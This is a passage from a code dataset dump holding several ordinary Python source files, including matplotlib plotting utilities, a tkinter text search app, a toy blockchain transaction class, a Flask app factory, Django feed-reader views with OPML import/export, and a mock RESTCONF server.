bbox_to_anchor=(1, 0.5), fontsize=legend_fontsize)\n plt.xticks(rotation=45, fontsize=fontsize)\n plt.yticks(fontsize=fontsize)\n ax.set_xlabel('Time', fontsize=fontsize)\n ax.set_ylabel('Value', fontsize=fontsize)\n plt.show()\n\ndef plot_pixel_qa_value(dataset, platform, values_to_plot, bands = \"pixel_qa\", plot_max = False, plot_min = False):\n times = dataset.time.values\n mpl.style.use('seaborn')\n plt.figure(figsize=(20,15))\n quarters = []\n three_quarters = []\n percentiles = []\n \n for i,v in enumerate(values_to_plot):\n _xarray = ls7_unpack_qa(dataset.pixel_qa, values_to_plot[i])\n y = _xarray.mean(dim= ['latitude', 'longitude'])\n times = dataset.time.values.astype(float)\n std_dev = np.std(y)\n std_dev = std_dev.values\n b = gaussian(len(times), std_dev)\n ga = filters.convolve1d(y, b/b.sum(),mode=\"reflect\")\n ga=interpolate_gaps(ga, limit=3)\n plt.plot(times, ga, '-',label=\"Gaussian \", alpha=1, color='black')\n \n x_smooth = np.linspace(times.min(),times.max(), 200)\n y_smooth = spline(times, ga, x_smooth)\n plt.plot(x_smooth, y_smooth, '-',label=\"Gaussian Smoothed\", alpha=1, color='cyan')\n \n for i, q in enumerate(_xarray):\n quarters.append(np.nanpercentile(_xarray, 25))\n three_quarters.append(np.nanpercentile(_xarray, 75))\n #print(q.values.mean())\n \n ax = plt.gca()\n ax.grid(color='lightgray', linestyle='-', linewidth=1)\n fillcolor='gray'\n fillalpha=0.4\n linecolor='gray'\n linealpha=0.6\n plt.fill_between(times, y, quarters, interpolate=False, color=fillcolor, alpha=fillalpha)\n plt.fill_between(times, y, three_quarters, interpolate=False, color=fillcolor, alpha=fillalpha)\n plt.plot(times,quarters,color=linecolor , alpha=linealpha)\n plt.plot(times,three_quarters,color=linecolor, alpha=linealpha)\n \n medians = _xarray.median(dim=['latitude','longitude'])\n plt.scatter(times,medians,color='mediumpurple', label=\"medians\", marker=\"D\")\n \n m, b = np.polyfit(times, y, 1)\n plt.plot(times, m*times + b, '-', color=\"red\",label=\"linear regression\")\n plt.style.use('seaborn')\n \n plt.plot(times, y, marker=\"o\")\n plt.legend(loc='center left', bbox_to_anchor=(1, 0.5))\n plt.xticks(rotation=90) ","sub_path":"utils/data_cube_utilities/plotter_utils.py","file_name":"plotter_utils.py","file_ext":"py","file_size_in_byte":9626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"621140165","text":"from tkinter import Tk, Text , Menu , BOTH , END , N, S, E, W\r\nfrom tkinter.ttk import Frame , Entry , Button\r\n\r\nclass Example(Frame):\r\n\tdef __init__(self , parent):\r\n\t\tFrame.__init__(self , parent)\r\n\t\tself.parent = parent\r\n\t\tself.initUI()\r\n\r\n\tdef initUI(self):\r\n\t\tself.parent.title(\"Searching text\")\r\n\t\tself.pack(fill=BOTH , expand=True)\r\n\t\tself.columnconfigure(0, weight=1)\r\n\t\tself.rowconfigure(1, weight=1)\r\n\t\t\r\n\t\tself.entry = Entry(self)\r\n\t\tself.entry.grid(row=0, column=0, padx=5, sticky=W+E)\r\n\t\t\r\n\t\tsearchBtn = Button(self , text=\"Search\", command=self.onSearch)\r\n\t\tsearchBtn.grid(row=0, column=1, padx=5, pady=5)\r\n\t\t\r\n\t\tself.txt = Text(self)\r\n\t\tself.txt.focus()\r\n\t\tself.txt.grid(row=1, column=0, columnspan=2, padx=5,pady=5, sticky=W+E+N+S)\r\n\t\tself.txt.tag_configure(\"wordfound\", background=\"green\")\r\n\tdef onSearch(self):\r\n\t\tself.txt.tag_remove(\"wordfound\", \"1.0\", END)\r\n\t\t\r\n\t\tindex = \"1.0\"\r\n\t\tmyword = self.entry.get()\r\n\t\tif (len(myword.strip()) == 0):\r\n\t\t\treturn\r\n\t\twhile True:\r\n\t\t\tindex = self.txt.search(myword , index , stopindex=END)\r\n\t\t\tif (index == \"\"):\r\n\t\t\t\treturn\r\n\t\t\telse:\r\n\t\t\t\tself.txt.tag_add(\"wordfound\", index ,\"%s+%dc\" % (index , len(myword)))\r\n\t\t\t\tindex = \"%s+%dc\" % (index , len(myword))\r\ndef main():\r\n\troot = Tk()\r\n\tex = Example(root)\r\n\troot.geometry(\"350x250+300+300\")\r\n\troot.mainloop()\r\nif __name__ == '__main__':\r\n\tmain()","sub_path":"Text_Searching-Text.py","file_name":"Text_Searching-Text.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"121738876","text":"from src.structure.crypto import Crypto\nimport hashlib\nimport binascii\n\n\nclass Transaction():\n \"\"\"\n The class used for the transactions\n \"\"\"\n def __init__(self, list_input=None, list_wallet=None, list_amount=None):\n \"\"\"\n The constructor will set all the lists and will verify the content\n \"\"\"\n self.list_sign = list()\n self.used_output = [0, 0]\n\n if(list_input is not None):\n # Checking format of list_input\n self.set_list_input(list_input)\n else:\n self.list_input = list_input\n\n if(list_wallet is not None):\n # Checking format of list_wallet\n self.set_list_wallet(list_wallet)\n else:\n self.list_wallet = list_wallet\n\n if(list_amount is not None):\n # Checking format of list_amount\n self.set_list_amount(list_amount)\n else:\n self.list_amount = list_amount\n\n if(list_input is not None and list_wallet is not None\n and list_amount is not None):\n # We compute the hash of the function\n self.compute_hash()\n\n def set_list_input(self, list_input):\n \"\"\"\n Verify the format and\n set the list of input\n \"\"\"\n # Checking format of list_input\n for (hash, output) in list_input:\n if len(hash) != 64:\n raise Exception('Error: Invalid Hash Size')\n if output != 1 and output != 0:\n raise Exception('Error: Invalid Output Number')\n\n self.list_input = list_input\n\n def set_list_wallet(self, list_wallet):\n \"\"\"\n Verify the format and\n set the list of wallet\n \"\"\"\n # Checking format of list_wallet\n for wallet in list_wallet:\n if len(wallet) <= 3:\n # It's <= 64*3 because there should be 2\n # output keys and at least one input key\n # For the transaction\n raise Exception('Error: Invalid Wallet_Pub Size')\n\n self.list_wallet = list_wallet\n\n def set_list_amount(self, list_amount):\n \"\"\"\n Verify the format and\n set the list of amount\n \"\"\"\n # Checking format of list_amount\n for amount in list_amount:\n try:\n amount = int(amount)\n except ValueError:\n raise Exception('Error: Invalid Amount')\n\n self.list_amount = list_amount\n\n def set_list_sign(self, list_sign, verify=True):\n \"\"\"\n We set and verify the signatures\n \"\"\"\n self.list_sign = list_sign\n if verify and not(self.verify()):\n raise Exception('Error: Invalid Signatures')\n\n def set_used_output(self, first_hash, second_hash):\n \"\"\"\n We verify the format of the hash\n and we store them in used_output\n \"\"\"\n self.used_output = [first_hash, second_hash]\n\n def compute_hash(self):\n \"\"\"\n We compute an hash for the transaction: it will\n represent the transaction\n \"\"\"\n hashable_string = ''\n\n # We add the list of inputs\n for (hash, output) in self.list_input:\n hashable_string += hash+\"|\"\n hashable_string += str(output)+\"|\"\n\n # We add the list of wallets\n for wallet in self.list_wallet:\n hashable_string += wallet+\"|\"\n\n # We add the list of amounts\n for amount in self.list_amount:\n hashable_string += str(amount)+\"|\"\n\n # We delete the last pipe\n hashable_string = hashable_string[:-1]\n\n # We encode the hashable string\n hashable_string = hashable_string[:-1]\n hash = hashlib.sha256()\n hash.update(str.encode(hashable_string))\n self.hash = binascii.hexlify(hash.digest()).decode(\"utf-8\")\n\n def verify_bank(self):\n \"\"\"\n We verify if the only sender is bank ie there is only wallet_bank in\n list_wallet\n \"\"\"\n wallet_bank = \"0000000000000000000000000000000000000000000000\"\n wallet_bank += \"00000000000000000000000000000000000000000000000000\"\n\n for wallet in self.list_wallet:\n if wallet == wallet_bank:\n return True\n return False\n\n def verify_miner(self):\n \"\"\"\n We verify that a transaction is a particular\n kind of transaction which is\n mining, ie: bank gives 1 to the miner and cash in hand the rest\n \"\"\"\n if len(self.list_input) != 1:\n return False\n\n if len(self.list_wallet) != 3:\n return False\n\n wallet_bank = \"0000000000000000000000000000000000000000000000\"\n wallet_bank += \"00000000000000000000000000000000000000000000000000\"\n\n if (self.list_wallet[0] != wallet_bank or\n self.list_wallet[2] != wallet_bank):\n return False\n\n if self.list_amount[1] != 1:\n return False\n\n return True\n\n def verify(self):\n \"\"\"\n This function will verify all the signature i.e a transaction is valid\n iff all signatures are valid (we don't have now the history\n of transactions)\n \"\"\"\n sign_bank = \"0000000000000000000000000000000000000000000000\"\n sign_bank += \"00000000000000000000000000000000000000000000000000\"\n\n total_amount = sum(self.list_amount[:-1])\n if self.list_amount[len(self.list_amount)-1] > total_amount:\n return False\n\n if len(self.list_sign) != len(self.list_wallet)-2:\n return False\n\n for i in range(0, len(self.list_sign)):\n\n if (self.list_wallet[i] != sign_bank and\n not(Crypto.verify(self.list_wallet[i],\n self.list_sign[i], self.hash))):\n return False\n return True\n\n def create_miner(cheese_stack_ress):\n cheese_stack = cheese_stack_ress.ressource\n crypto = Crypto()\n public_key_miner = crypto.get_public()\n transaction = Transaction()\n wallet_bank = \"0000000000000000000000000000000000000000000000\"\n wallet_bank += \"00000000000000000000000000000000000000000000000000\"\n sign_bank = wallet_bank\n output_bank = cheese_stack_ress.read(cheese_stack.find_output_bank)\n if(output_bank is None):\n return None\n (amount_bank, transaction_input) = output_bank\n list_wallet = [wallet_bank, public_key_miner,\n wallet_bank]\n list_amount = [amount_bank, 1]\n transaction = Transaction()\n transaction.set_list_amount(list_amount)\n transaction.set_list_input(transaction_input)\n transaction.set_list_wallet(list_wallet)\n transaction.compute_hash()\n transaction.set_list_sign([sign_bank], verify=False)\n return transaction\n\n def create_user(money_list, amount, public_key_receiver):\n crypto = Crypto()\n public_key_sender = crypto.get_public()\n (amount_output, list_input) = money_list.compute_money(amount=amount)\n\n for money in list_input:\n money_list.remove_money(money)\n\n list_input = [(transaction_hash, output)\n for (cheese_hash, transaction_hash, output)\n in list_input]\n\n if(amount_output < amount):\n return None\n list_wallet = [public_key_sender, public_key_receiver,\n public_key_sender]\n list_amount = [amount_output, amount]\n transaction = Transaction()\n transaction.set_list_amount(list_amount)\n print(\"Debug transaction: \"+str(list_input))\n transaction.set_list_input(list_input)\n transaction.set_list_wallet(list_wallet)\n transaction.compute_hash()\n sign = crypto.sign(transaction.hash)\n transaction.set_list_sign([sign])\n return transaction\n","sub_path":"src/structure/transaction.py","file_name":"transaction.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"174946940","text":"# Default Imports\nfrom greyatomlib.python_getting_started.q01_read_data.build import read_data\ndata = read_data()\n\n# Your Solution Here\ndef deliveries_count(data=data):\n\n # Your code here\n ball = []\n dd1 = data['innings'][0]['1st innings']['deliveries']\n for delivery in dd1:\n for delivery_number , delivery_info in delivery.items():\n if delivery_info['batsman'] == 'RT Ponting':\n over_and_ball_number = delivery_number\n ball.append(over_and_ball_number)\n count = len(ball)\n\n return count\n","sub_path":"q04_count/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"616401706","text":"from machine import UART\nimport time\nimport ssd1306\nfrom machine import I2C\nfrom machine import Pin\n\ni2c = I2C(-1, Pin(14), Pin(2))\noled = ssd1306.SSD1306_I2C(128, 64, i2c)\noled.fill(0)\noled.show()\n\n\noled.fill(0)\noled.text(\"Starting up ...\",0,0)\noled.show()\n\n\n\n#rx=34\n#tx=13\n\nrx=21\ntx=19\n\nuart=UART(2,baudrate=1200,rx=rx,tx=tx)\n\nindex = 1\n\nwhile True:\n a=uart.readline()\n print(a)\n try:\n packet_text = str(a, 'ascii')\n print('Received: {0}'.format(packet_text))\n print(packet_text.split(','))\n #oled.fill(0)\n #oled.text(str(index),0,0)\n #oled.text(packet_text,0,20)\n #oled.show()\n #index=index+1\n except Exception as e:\n print(str(e))\n time.sleep(1)\n","sub_path":"logger_ap_data/decreader/uartie_pressure.py","file_name":"uartie_pressure.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"427833423","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 3 21:05:20 2018\r\n\r\n@author: robin\r\n\"\"\"\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nf = open('clusterUBV.txt','r') \r\nfile_contents = f.read()\r\nprint(file_contents)\r\n\r\ndata = np.genfromtxt('clusterUBV.txt',skip_footer=6)\r\ndata2 = np.genfromtxt('UBV_intrinsic_colour.txt')\r\ndata3 = np.genfromtxt('UBV_intrinsic_ms.txt')\r\ndata4 = np.genfromtxt('isochrone_3.16e7yrs.txt')\r\ndata5 = np.genfromtxt('isochrone_1.00e8yrs.txt')\r\ndata6 = np.genfromtxt('isochrone_3.16e8yrs.txt')\r\n\r\nID = data[:,0]\r\nsource = data[:,1]\r\nV = data[:,2]\r\nBV = data[:,3]\r\nUB = data[:,4]\r\nN = data[:,5]\r\n\r\nBVint = data2[:,0]\r\nUBint = data2[:,1]\r\n\r\nMv = data3[:,0]\r\nBVo = data3[:,1]\r\n\r\nBiso1 = data4[:,0]\r\nViso1 = data4[:,1]\r\n\r\nBiso2 = data5[:,0]\r\nViso2 = data5[:,1]\r\n\r\nBiso3 = data6[:,0]\r\nViso3 = data6[:,1]\r\n\r\nplt.figure(1)\r\nplt.clf()\r\nplt.scatter(BV-0.037,V-0.111,s=5,marker=\".\",color=\"red\",label='Cluster CMD')\r\nplt.plot(BVo,Mv+5.65,color=\"black\",label='Fiducial Main Sequence')#distance using distance modulus\r\nplt.xlabel('B-V')\r\nplt.ylabel('V')\r\nplt.title('Color Magnitude Diagram of Cluster')\r\nplt.gca().invert_yaxis()\r\nplt.grid(True)\r\nplt.legend()\r\n\r\n#rangBV = BV[(BV>=0) & (BV<=0.721828)]\r\n#modelV = 5.65*rangBV+6.5\r\n#linemodel = np.where(V[np.where(rangBV)]>modelV)\r\n#plott9 = plt.plot(rangBV-0.037,modelV-0.111,color=\"blue\",linewidth = 0.5)\r\n\r\nplt.figure(2)\r\nplt.clf()\r\n\r\ndef F(x):\r\n m = 5.65\r\n b = 6.5\r\n return m*x+b\r\n\r\nx = BV\r\ny = V\r\n\r\nind = np.where((x>=0)&(x<=0.75))\r\ny2 = y[ind]\r\nx2 = x[ind]\r\n\r\nbinrange = np.where(y2<F(x2))\r\nbifq = len(binrange[0])/len(x2)\r\nprint('\\nBinary Frequency: '+str(bifq)+'\\n')\r\n\r\ntest = np.linspace(0,0.75,100)\r\n\r\nplt.scatter(x,y,s=5,marker='.',color='red',label='Cluster CMD')\r\nplt.plot(test,F(test),'k-',lw=2,label='Model Range')\r\n\r\n#plt.plot(x[ind],y[ind],'y.')\r\nplt.plot(x2[binrange],y2[binrange],'b.',label='Binaries')\r\nplt.xlabel('B-V')\r\nplt.ylabel('V')\r\nplt.title('Color Magnitude Diagram of Cluster')\r\nplt.gca().invert_yaxis()\r\nplt.grid(True)\r\nplt.legend()\r\n\r\nplt.figure(3)\r\nplt.clf()\r\nplt.scatter(BV,UB,s=5,marker=\".\",color=\"red\",label='Cluster CCD')\r\nplt.xlabel('B-V')\r\nplt.ylabel('U-B')\r\nplt.title('Color-Color Diagram of Cluster')\r\nplt.plot(BVint+0.037,UBint+(0.72*0.037),label='UBV Intrinsic Colour')\r\nplt.gca().invert_yaxis()\r\n\r\nd = 10*(10**(0.2*5.65))\r\nprint('\\nDistance is(pc): '+str(d)+'\\n')\r\nplt.grid(True)\r\nplt.legend()\r\n\r\nplt.figure(4)\r\nplt.clf()\r\nplt.scatter(BV,V,s=5,marker=\".\",color=\"red\",label='Cluster CMD')\r\nplt.scatter(BV-0.037,V-0.111,s=5,marker=\".\",color=\"blue\",label='De-reddened, extinction-corrected CMD')\r\nplt.xlabel('B-V')\r\nplt.ylabel('V')\r\nplt.title('Color Magnitude Diagram of Cluster')\r\nplt.gca().invert_yaxis()\r\nplt.grid(True)\r\nplt.legend()\r\n\r\nplt.figure(5)\r\nplt.clf()\r\nplt.scatter(BV-0.037,V-0.111,s=5,marker=\".\",color=\"blue\",label='Cluster CMD')\r\nplt.plot((Biso1-Viso1),Viso1+5.65,color=\"green\",lw = 0.5,label='Isochrone: 3.16e7yrs')\r\nplt.plot((Biso2-Viso2),Viso2+5.65,color=\"red\",lw = 0.5,label='Isochrone: 1.00e8yrs')\r\nplt.plot((Biso3-Viso3),Viso3+5.65,color=\"purple\",lw = 0.5,label='Isochrone: 3.16e8yrs')\r\nplt.xlabel('B-V')\r\nplt.ylabel('V')\r\nplt.title('Color Magnitude Diagram of Cluster')\r\nplt.gca().invert_yaxis()\r\nplt.grid(True)\r\nplt.legend()\r\n","sub_path":"2nd Year/Astr 205/Assignment 4/assignment4.py","file_name":"assignment4.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"56303630","text":"#!/usr/bin/python\n# coding: utf-8\n\nfrom os import urandom\nimport logging\nfrom logging.handlers import RotatingFileHandler\nfrom flask import Flask\nfrom flask_socketio import SocketIO\nfrom .model import db\nfrom .constants import SERVER_DATABASE, LOG_FILE\n\nsocketio = SocketIO()\n\nraspies = []\n\ndef create_app(debug=False):\n app = Flask(__name__)\n\n app.debug = debug\n app.secret_key = urandom(12)\n\n app.config['SQLALCHEMY_DATABASE_URI'] = SERVER_DATABASE\n app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n db.app = app\n db.init_app(app)\n db.create_all()\n\n from .main import main as main_blueprint\n app.register_blueprint(main_blueprint)\n\n socketio.init_app(app)\n return app\n\ndef create_logger():\n file_handler = RotatingFileHandler(LOG_FILE, maxBytes=1000)\n formatter = logging.Formatter(\"%(asctime)s -- %(name)s -- %(levelname)s -- %(message)s\")\n file_handler.setFormatter(formatter)\n root_logger=logging.getLogger()\n logging.getLogger('engineio').propagate = False # hide engineio logs to avoid flood\n root_logger.handlers = []\n root_logger.addHandler(file_handler)\n root_logger.setLevel(logging.DEBUG)\n return root_logger","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"314049959","text":"from xml.etree import ElementTree\nfrom xml.dom import minidom\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response, redirect\nfrom django.template import RequestContext\nfrom django.utils import simplejson\nfrom feedreader.forms import StringSearchForm, ImportOpmlFileForm\nfrom feedreader.models import Options, Group, Feed, Entry\nfrom feedreader.utils import poll_feed\n\n\ndef build_context(get):\n \"\"\"Build common context dictionary\"\"\" \n context = {}\n poll_flag = get.get('poll_flag', None)\n mark_read_flag = get.get('mark_read_flag', None)\n show_read_flag = get.get('show_read_flag', None)\n\n last_entry = None\n last_entry_id = get.get('entry_id', None) # Last entry on page\n if last_entry_id:\n try:\n last_entry = Entry.objects.get(pk=last_entry_id)\n except Entry.DoesNotExist:\n pass\n context['show_read_flag'] = show_read_flag\n feed = None\n feed_id = get.get('feed_id', None)\n if feed_id:\n try:\n feed = Feed.objects.get(pk=feed_id)\n except Feed.DoesNotExist:\n pass\n group = None\n group_id = get.get('group_id', None)\n if group_id:\n try:\n group = Group.objects.get(pk=group_id)\n except Group.DoesNotExist:\n pass\n\n options = Options.objects.all()\n if options:\n options = options[0]\n else: # Create options row with default values\n options = Options.objects.create()\n if feed:\n if mark_read_flag:\n entries = Entry.objects.filter(feed=feed, read_flag=False)\n entries.update(read_flag=True)\n if poll_flag:\n poll_feed(feed)\n if show_read_flag:\n entries = Entry.objects.filter(feed=feed)\n else:\n entries = Entry.objects.filter(feed=feed, read_flag=False)\n context['entries_header'] = feed.title\n elif group:\n feeds = Feed.objects.filter(group=group)\n if mark_read_flag:\n entries = Entry.objects.filter(feed__group=group, read_flag=False)\n entries.update(read_flag=True)\n if poll_flag:\n for feed in feeds:\n poll_feed(feed)\n if show_read_flag:\n entries = Entry.objects.filter(feed__group=group)\n else:\n entries = Entry.objects.filter(feed__group=group, read_flag=False)\n context['entries_header'] = group.name\n else:\n if mark_read_flag:\n entries = Entry.objects.filter(read_flag=False)\n entries.update(read_flag=True)\n if show_read_flag:\n entries = Entry.objects.all()\n else:\n entries = Entry.objects.filter(read_flag=False)\n context['entries_header'] = 'All items'\n if last_entry:\n entries = list(entries)\n if last_entry in entries:\n last_entry_pos = entries.index(last_entry)\n for i in range(last_entry_pos + 1):\n if entries[i].read_flag == False:\n entries[i].read_flag = True\n entries[i].save()\n del entries[:last_entry_pos + 1]\n context['entries'] = entries[:options.number_additionally_displayed]\n else:\n context['entries'] = []\n context['entries_header'] = None\n else:\n context['entries'] = entries[:options.number_initially_displayed]\n return context\n\n\n@login_required\ndef ajax_get_num_unread(request):\n \"\"\"Count numbers of unread entries\"\"\"\n context = {}\n context['unread_total'] = Entry.objects.filter(read_flag=False).count()\n groups = Group.objects.all()\n for group in groups:\n num_unread = Entry.objects.filter(feed__group=group, read_flag=False).count()\n context['unread_group%s' % (group.id)] = num_unread\n context['unread_group_button%s' % (group.id)] = num_unread\n feeds = Feed.objects.all()\n for feed in feeds:\n context['unread_feed%s' % (feed.id)] = Entry.objects.filter(feed=feed, read_flag=False).count()\n return HttpResponse(simplejson.dumps(context), mimetype='application/json')\n\n\n@login_required\ndef ajax_get_feeds(request):\n \"\"\"Get feed contents\"\"\"\n context = build_context(request.GET)\n return render_to_response('feedreader/feed_entries.html', context, RequestContext(request))\n\n\n@login_required\ndef ajax_mark_entry_read(request):\n \"\"\"Mark entry as read\"\"\"\n entry_id = request.GET.get('entry_id', None)\n if entry_id:\n try:\n entry = Entry.objects.get(pk=entry_id)\n if entry.read_flag == False:\n entry.read_flag = True\n entry.save()\n except Entry.DoesNotExist:\n pass\n return HttpResponse('')\n\n\n@login_required\ndef feeds(request):\n \"\"\"Show most recent feed contents on page\"\"\"\n context = build_context(request.GET)\n context['groups'] = Group.objects.all()\n context['no_group'] = Feed.objects.filter(group=None)\n context['import_form'] = ImportOpmlFileForm()\n return render_to_response('feedreader/feeds.html', context, RequestContext(request))\n\n\ndef search_entries(request):\n \"\"\"\n Simple string search.\n\n Display entries with titles and/or descriptions which contain the string searched for.\n \"\"\"\n form = StringSearchForm(request.GET)\n search_string = form.cleaned_data['feedreader_search_string'] if form.is_valid() else ''\n if len(search_string) < 3:\n return render_to_response('feedreader/search_results.html',\n {'feedreader_search_string': search_string, 'too_small': True},\n RequestContext(request))\n title_matches = Entry.objects.filter(title__icontains=search_string)\n description_matches = Entry.objects.filter(description__icontains=search_string)\n context = {'title_matches': title_matches,\n 'description_matches': description_matches,\n 'feedreader_search_string': search_string,\n }\n return render_to_response('feedreader/search_results.html', context, RequestContext(request))\n\n\ndef import_opml(request):\n \"\"\"\n Import feed subscriptions in OPML format\n \"\"\"\n form = ImportOpmlFileForm(request.POST, request.FILES)\n if form.is_valid():\n tree = ElementTree.parse(request.FILES['opml_file'])\n group = None\n for node in tree.iter('outline'):\n name = node.attrib.get('text')\n url = node.attrib.get('xmlUrl')\n if name and url:\n try:\n feed = Feed.objects.get(xml_url=url)\n except Feed.DoesNotExist:\n Feed.objects.create(xml_url=url, group=group)\n else:\n group, created = Group.objects.get_or_create(name=name)\n return redirect(reverse('admin:feedreader_feed_changelist'))\n\n\ndef export_opml(request):\n \"\"\"Return feed subscriptions in OPML format.\"\"\"\n root = ElementTree.Element('opml')\n root.set('version', '2.0')\n head = ElementTree.SubElement(root, 'head')\n title = ElementTree.SubElement(head, 'title')\n title.text = 'Feedreader Feeds'\n body = ElementTree.SubElement(root, 'body')\n\n feeds = Feed.objects.filter(group=None)\n for feed in feeds:\n feed_xml = ElementTree.SubElement(body,\n 'outline',\n {'type': 'rss',\n 'text': feed.title,\n 'xmlUrl': feed.xml_url,\n }\n )\n\n groups = Group.objects.all()\n for group in groups:\n group_xml = ElementTree.SubElement(body,\n 'outline',\n {'text': group.name,\n }\n )\n feeds = Feed.objects.filter(group=group)\n for feed in feeds:\n feed_xml = ElementTree.SubElement(group_xml,\n 'outline',\n {'type': 'rss',\n 'text': feed.title,\n 'xmlUrl': feed.xml_url,\n }\n )\n response = HttpResponse(content_type='text/xml')\n response['Content-Disposition'] = 'attachment; filename=\"feedreader.opml\"'\n response.write(minidom.parseString(ElementTree.tostring(root, 'utf-8')).toprettyxml(indent=\" \"))\n return response\n","sub_path":"feedreader/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"572792729","text":"import numpy as np\n\n# get color harmony from mainColors\ndef getHarmony(wheelColors):\n # Get the corresponding colors on the RGB wheel from array of RGB colors\n w = wheelColors\n harmonies = np.array([monochromatic(w), complementary(w), splitComplementary(w), triad(w), square(w), rectangular(w), analogous(w), False]) * 1\n \n # If other color combinations\n if sum(w) > 1 and sum(harmonies)==0:\n harmonies[-1] = 1\n return harmonies\n \n# Harmonies \ndef monochromatic(wheelColors):\n return sum(wheelColors)==1\n\n\ndef complementary(wheelColors):\n for curr in range(12):\n opp = (curr+6) % 12\n if wheelColors[curr]==1 and wheelColors[opp]==1:\n return True\n return False\n\n\ndef splitComplementary(wheelColors):\n for curr in range(12):\n opp_left = (curr+5) % 12\n opp_right = (curr+7) % 12\n if wheelColors[curr]==1 and wheelColors[opp_left]==1 and wheelColors[opp_right]==1:\n return True\n return False\n\n\ndef triad(wheelColors):\n for curr in range(12):\n left = (curr+4) % 12\n right = (curr+8) % 12\n if wheelColors[curr]==1 and wheelColors[left]==1 and wheelColors[right]==1:\n return True\n return False\n\n\ndef square(wheelColors):\n for curr in range(12):\n left = (curr+3) % 12\n right = (curr+9) % 12\n opp = (curr+6) % 12\n if wheelColors[curr]==1 and wheelColors[left]==1 and wheelColors[right]==1 and wheelColors[opp]==1:\n return True\n return False\n\n\ndef rectangular(wheelColors):\n for curr in range(6):\n for width in range(1,3):\n left = (curr+width) % 12\n right = (curr+6+width) % 12\n opp = (curr+6) % 12\n if wheelColors[curr]==1 and wheelColors[left]==1 and wheelColors[right]==1 and wheelColors[opp]==1:\n return True\n return False\n\n\ndef analogous(wheelColors):\n for curr in range(12):\n right = (curr+1) % 12\n if wheelColors[curr]==1 and wheelColors[right]==1:\n return True\n return False","sub_path":"color_analysis/01_first_color_analysis/01_Volumen/harmonies.py","file_name":"harmonies.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"560433511","text":"# -*- coding:utf-8 -*-\n#思路:依次累加每一个数,当和小于0时,从最新一个数开始累加\nclass Solution:\n def FindGreatestSumOfSubArray(self, array):\n # write code here\n maxD=array[0]\n sumD=0\n for i in range(0,len(array)):\n\n if sumD<0:\n sumD=array[i]\n else:\n sumD = sumD + array[i]\n maxD=max(sumD,maxD)\n return maxD\nprint(Solution().FindGreatestSumOfSubArray([1,-2,3,10,-4,7,2,-5]))\n\n","sub_path":"newcode_FindGreatestSumOfSubArray.py","file_name":"newcode_FindGreatestSumOfSubArray.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294743352","text":"\"\"\"Mock server to validate requests/responses\n\n\"\"\"\nfrom requests import Response\nimport json\nfrom .base import Base\nfrom .openhltest import Openhltest\n\nclass MockServer(object):\n def __init__(self):\n self._mock_storage = {}\n self._mock_storage['openhltest'] = {}\n\n def _make_NotFoundError(self):\n response = Response()\n response.status_code = 404\n response.reason = 'Not found'\n response.headers['Content-Type'] = 'application/json'\n response._content = r'''{\n \"ietf-restconf:errors\": {\n \"error\": [\n {\n \"error-type\": \"application\",\n \"error-tag\": \"general-error\",\n \"error-message\": \"information not found\",\n \"error-info\": {\n \"info\": {\n \"message\": \"information not found\",\n \"code\": 2003\n }\n }\n }\n ]\n }\n }'''\n return response\n\n def _raise_BadRequestError(self):\n response = Response()\n response.status_code = 400\n response.reason = 'unknown-element'\n response.headers['Content-Type'] = 'application/json'\n response._content = r'''{\n \"ietf-restconf:errors\": {\n \"error\": [\n {\n \"error-type\": \"application\",\n \"error-tag\": \"general-error\",\n \"error-message\": \"unknown element\",\n \"error-info\": {\n \"info\": {\n \"message\": \"unknown element\",\n \"code\": 2003\n }\n }\n }\n ]\n }\n }'''\n raise BadRequestError(response)\n \n def _make_python_name(self, yang_name):\n camelCaseName = ''\n for piece in yang_name.split('-'):\n camelCaseName += piece[0].upper() + piece[1:]\n return camelCaseName\n\n def _remove_restconf_prefix(self, url):\n if url.find('/openhltest:') >= 0:\n url = url[url.find('/openhltest:') + len('/openhltest:'):]\n else:\n if url.find('/restconf/data') > 0:\n url = url[url.find('/restconf/data') + len('/restconf/data'):]\n return url\n\n def request(self, yang_class, parent, method, url, locals_dict, payload):\n response = Response()\n response.headers['Content-Type'] = 'application/json'\n if method == 'GET':\n url = self._remove_restconf_prefix( url)\n response = self._get_response_from_mock_storage(yang_class, parent, url)\n elif method == 'POST' and url.split('/').pop() in yang_class.YANG_ACTIONS:\n method_name = self._make_python_name(url.split('/').pop())\n if 'Returns:' in getattr(yang_class, method_name).__doc__:\n output = getattr(yang_class, method_name).__doc__.replace('\\n', '').replace('\\t', '').replace(' ', '')\n start = output.find('Returns:') + len('Returns:')\n output = output[start:output.find('}', start) + 1]\n output = output.replace('string', '')\n response.status_code = 200\n response.reason = 'OK'\n response._content = json.dumps({'openhltest:output': json.loads(output)}, indent=4)\n else:\n response.status_code = 204\n response.reason = 'No Content'\n elif method == 'POST': # POST config message\n url = self._remove_restconf_prefix( 